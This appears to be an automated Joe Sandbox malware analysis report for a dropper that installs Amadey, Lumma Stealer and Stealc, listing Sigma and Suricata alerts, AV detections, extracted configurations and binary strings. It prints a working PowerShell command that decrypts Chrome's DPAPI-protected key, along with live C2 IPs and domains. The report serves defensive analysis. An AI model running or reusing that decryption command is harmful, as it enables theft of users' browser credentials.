Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 5544, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\d84bd44db0.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe, ParentProcessId: 1228, ParentProcessName: 4dfaa8fc03.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 6368, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 5544, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\d84bd44db0.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope Process; Add-Type -AssemblyName System.Security; $decryptedKey = [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser); $decryptedKeyString = [System.BitConverter]::ToString($decryptedKey) -replace '-', ''; Write-Output $decryptedKeyString", CommandLine: powershell.exe -Command "Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope Process; Add-Type -AssemblyName System.Security; $decryptedKey = [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser); $decryptedKeyString = [System.BitConverter]::ToString($decryptedKey) -replace '-', ''; Write-Output $decryptedKeyString", CommandLine|base64offset|contains: *&, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, P

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5964, ProcessName: svchost.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T23:04:30.811564+0100	2028371	3	Unknown Traffic	192.168.2.4	49917	188.114.96.3	443	TCP
2024-11-18T23:04:32.137455+0100	2028371	3	Unknown Traffic	192.168.2.4	49927	188.114.96.3	443	TCP
2024-11-18T23:04:34.120744+0100	2028371	3	Unknown Traffic	192.168.2.4	49937	188.114.96.3	443	TCP
2024-11-18T23:04:35.995065+0100	2028371	3	Unknown Traffic	192.168.2.4	49947	188.114.96.3	443	TCP
2024-11-18T23:04:37.757313+0100	2028371	3	Unknown Traffic	192.168.2.4	49960	188.114.96.3	443	TCP
2024-11-18T23:04:40.309843+0100	2028371	3	Unknown Traffic	192.168.2.4	49973	188.114.96.3	443	TCP
2024-11-18T23:04:42.577891+0100	2028371	3	Unknown Traffic	192.168.2.4	49988	188.114.96.3	443	TCP
2024-11-18T23:04:48.321935+0100	2028371	3	Unknown Traffic	192.168.2.4	50028	188.114.96.3	443	TCP
2024-11-18T23:04:50.432796+0100	2028371	3	Unknown Traffic	192.168.2.4	50036	188.114.96.3	443	TCP
2024-11-18T23:04:52.293254+0100	2028371	3	Unknown Traffic	192.168.2.4	50050	188.114.96.3	443	TCP
2024-11-18T23:04:55.424872+0100	2028371	3	Unknown Traffic	192.168.2.4	50062	188.114.96.3	443	TCP
2024-11-18T23:04:58.146733+0100	2028371	3	Unknown Traffic	192.168.2.4	50066	188.114.96.3	443	TCP
2024-11-18T23:05:00.852006+0100	2028371	3	Unknown Traffic	192.168.2.4	50071	188.114.96.3	443	TCP
2024-11-18T23:05:05.936555+0100	2028371	3	Unknown Traffic	192.168.2.4	50074	188.114.96.3	443	TCP
2024-11-18T23:05:08.248228+0100	2028371	3	Unknown Traffic	192.168.2.4	50076	188.114.96.3	443	TCP
2024-11-18T23:05:11.389755+0100	2028371	3	Unknown Traffic	192.168.2.4	50079	188.114.96.3	443	TCP
2024-11-18T23:07:49.538093+0100	2028371	3	Unknown Traffic	192.168.2.4	50288	52.168.117.170	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T23:04:31.377830+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49917	188.114.96.3	443	TCP
2024-11-18T23:04:32.979593+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49927	188.114.96.3	443	TCP
2024-11-18T23:04:49.074556+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50028	188.114.96.3	443	TCP
2024-11-18T23:04:50.904948+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50036	188.114.96.3	443	TCP
2024-11-18T23:04:52.788667+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50050	188.114.96.3	443	TCP
2024-11-18T23:05:12.103214+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50079	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T23:04:31.377830+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49917	188.114.96.3	443	TCP
2024-11-18T23:04:50.904948+0100	2049836	1	A Network Trojan was detected	192.168.2.4	50036	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T23:04:32.979593+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49927	188.114.96.3	443	TCP
2024-11-18T23:04:52.788667+0100	2049812	1	A Network Trojan was detected	192.168.2.4	50050	188.114.96.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T23:04:50.045393+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	50035	185.215.113.16	80	TCP
2024-11-18T23:05:13.130357+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	50080	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T23:04:30.628369+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49914	185.215.113.43	80	TCP
2024-11-18T23:04:36.068252+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49943	185.215.113.43	80	TCP
2024-11-18T23:04:41.377416+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49978	185.215.113.43	80	TCP
2024-11-18T23:04:46.890960+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50014	185.215.113.43	80	TCP
2024-11-18T23:04:52.808549+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50052	185.215.113.43	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T23:04:37.792498+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49953	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T23:04:37.773638+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49953	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T23:04:38.072300+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49953	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T23:04:39.210727+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49953	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T23:04:38.084192+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49953	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T23:04:42.616811+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49988	188.114.96.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T23:04:37.416643+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49953	185.215.113.206	80	TCP
2024-11-18T23:05:16.068871+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50084	185.215.113.206	80	TCP
2024-11-18T23:05:18.511461+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50108	185.215.113.206	80	TCP
2024-11-18T23:05:27.485341+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50135	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T23:04:25.457548+0100	2856121	1	A Network Trojan was detected	192.168.2.4	49882	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T23:04:04.947657+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49773	185.215.113.43	80	TCP
2024-11-18T23:09:16.914602+0100	2856147	1	A Network Trojan was detected	192.168.2.4	50340	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T23:04:24.549995+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49788	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T23:04:08.321566+0100	2803305	3	Unknown Traffic	192.168.2.4	49794	31.41.244.11	80	TCP
2024-11-18T23:04:26.383435+0100	2803305	3	Unknown Traffic	192.168.2.4	49891	185.215.113.16	80	TCP
2024-11-18T23:04:31.554411+0100	2803305	3	Unknown Traffic	192.168.2.4	49921	185.215.113.16	80	TCP
2024-11-18T23:04:36.987110+0100	2803305	3	Unknown Traffic	192.168.2.4	49952	185.215.113.16	80	TCP
2024-11-18T23:04:42.323742+0100	2803305	3	Unknown Traffic	192.168.2.4	49985	185.215.113.16	80	TCP
2024-11-18T23:04:47.953636+0100	2803305	3	Unknown Traffic	192.168.2.4	50015	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T23:04:39.779554+0100	2803304	3	Unknown Traffic	192.168.2.4	49953	185.215.113.206	80	TCP
2024-11-18T23:05:00.958353+0100	2803304	3	Unknown Traffic	192.168.2.4	50060	185.215.113.206	80	TCP
2024-11-18T23:05:02.385184+0100	2803304	3	Unknown Traffic	192.168.2.4	50060	185.215.113.206	80	TCP
2024-11-18T23:05:03.068392+0100	2803304	3	Unknown Traffic	192.168.2.4	50060	185.215.113.206	80	TCP
2024-11-18T23:05:04.921968+0100	2803304	3	Unknown Traffic	192.168.2.4	50060	185.215.113.206	80	TCP
2024-11-18T23:05:06.186480+0100	2803304	3	Unknown Traffic	192.168.2.4	50060	185.215.113.206	80	TCP
2024-11-18T23:05:06.672747+0100	2803304	3	Unknown Traffic	192.168.2.4	50060	185.215.113.206	80	TCP
2024-11-18T23:05:11.608070+0100	2803304	3	Unknown Traffic	192.168.2.4	50078	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000000.00000002.1745890738.00000000004D1000.00000040.00000001.01000000.00000003.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: d84bd44db0.exe.4412.13.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["processhol.sbs", "p10tgrace.sbs", "p3ar11fter.sbs", "peepburry828.sbs", "3xp3cts1aim.sbs"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 52%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 52%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: Potwierdzenie.exe, 00000008.00000003.2552568776.0000000009B40000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_828a1f46-7

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe

Unpacked PE file: 10.2.Potwierdzenie.exe.400000.0.unpack

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49917 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49937 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49947 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49960 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49973 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50050 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50062 version: TLS 1.2

Source:	Binary string: D:\a\winlib-builder\winlib-builder\openssl\libcrypto-1_1.pdb source: Potwierdzenie.exe, 00000008.00000003.2542334338.00000000096AE000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3011025554.0000000009D10000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: D:\a\winlib-builder\winlib-builder\openssl\libssl-1_1.pdbAA source: Potwierdzenie.exe, 00000008.00000003.2543164245.00000000094F1000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3013485661.0000000009E80000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: D:\my documents\boxedappsdk\boxedappsdk2024-2\source_code\bxsdk\obj\x86\Release_Full\BoxedAppSDK_AppDomainManager.pdb source: Potwierdzenie.exe, 00000008.00000003.2534433007.0000000003920000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2547531162.0000000009AF0000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2539211932.00000000071E0000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2534176518.0000000003710000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2993455950.0000000009390000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: D:\a\php-ftw\php-ftw\php\vs16\x86\obj\Release\php_opcache.pdb###UGP source: Potwierdzenie.exe, 00000008.00000003.2540265791.0000000008200000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2540383929.0000000007410000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3001666143.0000000009850000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: D:\a\winlib-builder\winlib-builder\nghttp2\lib\RelWithDebInfo\nghttp2.pdb// source: Potwierdzenie.exe, 0000000A.00000002.3015907950.0000000009FA0000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: D:\my documents\boxedappsdk\boxedappsdk2024-2\source_code\bxsdk\obj\Win32\Release_Full\TLSSupport\TLSSupport.pdb source: Potwierdzenie.exe, 00000008.00000003.2534433007.0000000003920000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2547531162.0000000009AF0000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2539211932.00000000071E0000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2534176518.0000000003710000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2905070081.00000000065D0000.00000004.10000000.00040000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3026289887.000000000BBE2000.00000002.10000000.00040000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2993455950.0000000009390000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: D:\a\winlib-builder\winlib-builder\libssh2\src\RelWithDebInfo\libssh2.pdb66 source: Potwierdzenie.exe, 0000000A.00000002.3014923390.0000000009F30000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: D:\a\php-ftw\php-ftw\php\vs16\x86\obj\Release\php_curl.pdb source: Potwierdzenie.exe, 00000008.00000003.2552568776.0000000009B40000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2551954555.0000000009A30000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\a\winlib-builder\winlib-builder\nghttp2\lib\RelWithDebInfo\nghttp2.pdb source: Potwierdzenie.exe, 0000000A.00000002.3015907950.0000000009FA0000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: /D:\a\php-ftw\php-ftw\php\vs16\x86\obj\Release\php8.pdby source: Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B99000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2538400124.00000000073A9000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2986280038.0000000008D80000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: D:\a\winlib-builder\winlib-builder\libssh2\src\RelWithDebInfo\libssh2.pdb source: Potwierdzenie.exe, 0000000A.00000002.3014923390.0000000009F30000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: D:\a\winlib-builder\winlib-builder\openssl\libssl-1_1.pdb source: Potwierdzenie.exe, 00000008.00000003.2543164245.00000000094F1000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3013485661.0000000009E80000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: D:\my documents\boxedappsdk\boxedappsdk2024-2\source_code\bxsdk\obj\Win32\Release_Full\BoxedAppSDKThunk\BoxedAppSDKThunk.pdb source: Potwierdzenie.exe, 00000008.00000003.2534433007.0000000003920000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2547531162.0000000009AF0000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2539211932.00000000071E0000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2534176518.0000000003710000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2993455950.0000000009390000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: D:\a\php-ftw\php-ftw\php\vs16\x86\obj\Release\php.pdb source: Potwierdzenie.exe, 0000000A.00000002.2881798543.000000000040C000.00000002.00000001.01000000.00000009.sdmp, Potwierdzenie.exe, 0000000A.00000002.2987607729.0000000008F80000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_BN_ASM_PART_WORDS -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DRC4_ASM -DMD5_ASM -DRMD160_ASM -DAESNI_ASM -DVPAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DPOLY1305_ASM source: Potwierdzenie.exe, 00000008.00000003.2541086201.0000000009253000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3008705922.0000000009C70000.00000004.10000000.00040000.00000000.sdmp
